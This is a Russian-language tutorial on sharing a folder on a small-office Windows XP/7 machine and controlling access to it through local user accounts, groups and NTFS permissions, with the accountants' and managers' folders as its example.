В Проводнике уберите упрощённый доступ к нужным нам вещам.

• MS Windows XP. Меню Сервис — Свойства папки — Вид. Снять галочку Использовать мастер общего доступа
• MS Windows 7. Нажмите Alt. Меню Сервис — Параметры папок — Вид. Снять галочку Использовать простой общий доступ к файлам.

Создайте на вашем компьютере WinServer папку, которая будет хранить ваше богатство в виде файлов приказов, договоров и так далее. У меня, как пример, это будет C:dostup. Папка обязательна должна быть создана на разделе с NTFS.

Доступ по сети.

На данном этапе нужно выдать в доступ по сети (расшарить — share) папку для работы с ней другими пользователями на своих компьютерах данной локальной сети.

И самое главное! Выдать папку в доступ с полным разрешением для всех! Да да! Вы не ослышались. А как же разграничение доступа?

Мы разрешаем по локальной сети всем подсоединяться к папке, НО разграничивать доступ будем средствами безопасности, сохраняемые в файловой системе NTFS, на которой расположена наш каталог.

• MS Windows XP. На нужной папке (C:dostup) правой клавишей мыши и там Свойства. Вкладка Доступ — Открыть общий доступ к этой папке. Заполняем Примечание. Жмём Разрешение. Группа Все должна иметь по сети право Полный доступ.
• MS Windows 7. На нужной папке (C:dostup) правой клавишей мыши и там Свойства. Вкладка Доступ — Расширенная настройка. Ставим галочку Открыть общий доступ к этой папке. Заполняем Примечание. Жмём Разрешение. Группа Все должна иметь по сети право Полный доступ.

Пользователи и группы безопасности.

Нужно создать необходимые учётные записи пользователей. Напоминаю, что если на многочисленных ваших персональных компьютерах используются различные учётные записи для пользователей, то все они должны быть созданы на вашем «сервере» и с теми же самыми паролями. Этого можно избежать, только если у вас грамотный админ и компьютеры в Active Directory. Нет? Тогда кропотливо создавайте учётные записи.

• MS Windows XP. Панель Управления — Администрирование — Управление компьютером.
  Локальные пользователи и группы — Пользователи. Меню Действие — Новый пользователь.
• MS Windows 7. Панель Управления — Администрирование — Управление компьютером.
  Локальные пользователи и группы — Пользователи. Меню Действие — Создать пользователя.

Теперь очередь за самым главным — группы! Группы позволяют включать в себя учётные записи пользователей и упрощают манипуляции с выдачей прав и разграничением доступа.

Чуть ниже будет объяснено «наложение прав» на каталоги и файлы, но сейчас главное понять одну мысль. Права на папки или файлы будут предоставляться группам, которые образно можно сравнить с контейнерами. А группы уже «передадут» права включённым в них учётным записям. То есть нужно мыслить на уровне групп, а не на уровне отдельных учётных записей.

• MS Windows XP. Панель Управления — Администрирование — Управление компьютером.
  Локальные пользователи и группы — Группы. Меню Действие — Создать группу.
• MS Windows 7. Панель Управления — Администрирование — Управление компьютером.
  Локальные пользователи и группы — Группы. Меню Действие — Создать группу.

Нужно включить в нужные группы нужные учётные записи. Для примера, на группе Бухгалтеры правой клавишей мыши и там Добавить в группу или Свойства и там кнопка Добавить. В поле Введите имена выбираемых объектов впишите имя необходимой учётной записи и нажмите Проверить имена. Если всё верно, то учётная запись изменится к виду ИМЯСЕРВЕРАучётная_запись. На рисунке выше, учётная запись buh3 была приведена к WINSERVERbuh3.

Итак, нужные группы созданы и учётные записи пользователей включены в нужные группы. Но до этапа назначения прав на папках и файлах с помощью групп хотелось бы обсудить пару моментов.

Стоит ли заморачиваться с группой, если в ней будет одна учётная запись? Считаю, что стоит! Группа даёт гибкость и маневренность. Завтра вам понадобится ещё одному человеку Б дать те же права, что и определённому человеку с его учётной записью А. Вы просто добавите учётную запись Б в группу, где уже имеется А и всё!

Намного проще, когда права доступа выданы группам, а не отдельным персонам. Вам остаётся лишь манипулировать группами и включением в них нужных учётных записей.

Права доступа.

Желательно выполнять нижеперечисленные действия от встроенной учётной записи Администратор или от первой учётной записи в системе, которая по умолчанию входит в группу Администраторы.

Вот и добрались до этапа, где непосредственно и происходит магия разграничения прав доступа для различных групп, а через них и пользователям (точнее их учётным записям).

Итак, у нас есть директория по адресу C:dostup, которую мы уже выдали в доступ по сети всем сотрудникам. Внутри каталога C:dostup ради примера создадим папки Договора, Приказы, Учёт МЦ. Предположим, что есть задача сделать:

• папка Договора должна быть доступна для Бухгалтеров только на чтение. Чтение и запись для группы Менеджеров.
• папка УчётМЦ должна быть доступна для Бухгалтеров на чтение и запись. Группа Менеджеров не имеет доступа.
• папка Приказы должна быть доступна для Бухгалтеров и Менеджеров только на чтение.

На папке Договора правой клавишей и там Свойства — вкладка Безопасность. Мы видим что какие-то группы и пользователи уже имеют к ней доступ. Эти права были унаследованы от родителя dostup, а та в свою очередь от своего родителя С:

Мы прервём это наследование прав и назначим свои права-хотелки.

Жмём кнопку Дополнительно — вкладка Разрешения — кнопка Изменить разрешения.

Сначала прерываем наследование прав от родителя. Снимаем галочку Добавить разрешения, наследуемые от родительских объектов. Нас предупредят, что разрешения от родителя не будут применяться к данному объекту (в данном случае это папка Договора). Выбор: Отмена или Удалить или Добавить. Жмём Добавить и права от родителя останутся нам в наследство, но больше права родителя на нас не будут распространяться. Другими словами, если в будущем права доступа у родителя (папка dostup) изменить — это не скажется на дочерней папке Договора. Заметьте в поле Унаследовано от стоит не унаследовано. То есть связь родитель — ребёнок разорвана.

Теперь аккуратно удаляем лишние права, оставляя Полный доступ для Администраторов и Система. Выделяем по очереди всякие Прошедшие проверку и просто Пользователи и удаляем кнопкой Удалить.

Кнопка Добавить в данном окне Дополнительные параметры безопасности предназначена для опытных админов, которые смогут задать особые, специальные разрешения. Статья же нацелена на знания опытного пользователя.

Мы ставим галочку Заменить все разрешения дочернего объекта на разрешения, наследуемые от этого объекта и жмём Ок. Возвращаемся назад и снова Ок, чтобы вернуться к простому виду Свойства.

Данное окно позволит упрощённо достигнуть желаемого. Кнопка Изменить выведет окно «Разрешения для группы».

Жмём Добавить. В новом окне пишем Бухгалтеры и жмём «Проверить имена» — Ок. По умолчанию даётся в упрощённом виде доступ «на чтение». Галочки в колонке Разрешить автоматически выставляются «Чтение и выполнение», «Список содержимого папки», «Чтение». Нас это устраивает и жмём Ок.

Теперь по нашему техническому заданию нужно дать права на чтение и запись для группы Менеджеры. Если мы в окне Свойства, то снова Изменить — Добавить — вбиваем Менеджеры — Проверить имена. Добавляем в колонке Разрешить галочки Изменение и Запись.

Теперь нужно всё проверить!

Следите за мыслью. Мы приказали, чтобы папка Договора не наследовала права от свого родителя dostup. Приказали дочерним папкам и файлам внутри папки Договора наследовать права от неё.

На папку Договора мы наложили следующие права доступа: группа Бухгалтеры должна только читать файлы и открывать папки внутри, а группа Менеджеры создавать, изменять файлы и создавать папки.

Следовательно, если внутри директории Договора будет создаваться файл-документ, на нём будут разрешения от его родителя. Пользователи со своими учётными записями будут получать доступ к таким файлам и каталогам через свои группы.

Зайдите в папку Договора и создайте тестовый файл договор1.txt

На нём щелчок правой клавишей мыши и там Свойства — вкладка Безопасность — Дополнительно — вкладка Действующие разрешения.

Жмём Выбрать и пишем учётную запись любого бухгалтера, к примеру buh1. Мы видим наглядно, что buh1 получил права от своей группы Бухгалтеры, которые обладают правами на чтение к родительской папке Договора, которая «распространяет» свои разрешения на свои дочерние объекты.

Пробуем manager2 и видим наглядно, что менеджер получает доступ на чтение и запись, так как входит в группу Менеджеры, которая даёт такие права для данной папки.

Абсолютно так же, по аналогии с папкой Договора, накладываются права доступа и для других папок, следуя вашему техническому заданию.

Итог.

• Используйте разделы NTFS.
• Когда разграничиваете доступ на папки (и файлы), то манипулируйте группами.
• Создавайте учётные записи для каждого пользователя. 1 человек = 1 учётная запись.
• Учётные записи включайте в группы. Учётная запись может входить одновременно в разные группы. Если учётная запись находится в нескольких группах и какая-либо группа что-то разрешает, то это будет разрешено учётной записи.
• Колонка Запретить (запрещающие права) имеют приоритет перед Разрешением. Если учётная запись находится в нескольких группах и какая-либо группа что-то запрещает, а другая группа это разрешает, то это будет запрещено учётной записи.
• Удаляйте учётную запись из группы, если хотите лишить доступа, которого данная группа даёт.
• Задумайтесь о найме админа и не обижайте его деньгами.

Задавайте вопросы в комментариях и спрашивайте, поправляйте.

Видеоматериал показывает частный случай, когда нужно всего лишь запретить доступ к папке, пользуясь тем, что запрещающие правила имеют приоритет перед разрешающими правила.

Дополнительные материалы:
Как связать Microsoft Access с MySQL.

Дата последней правки: 2015-12-01 09:57:26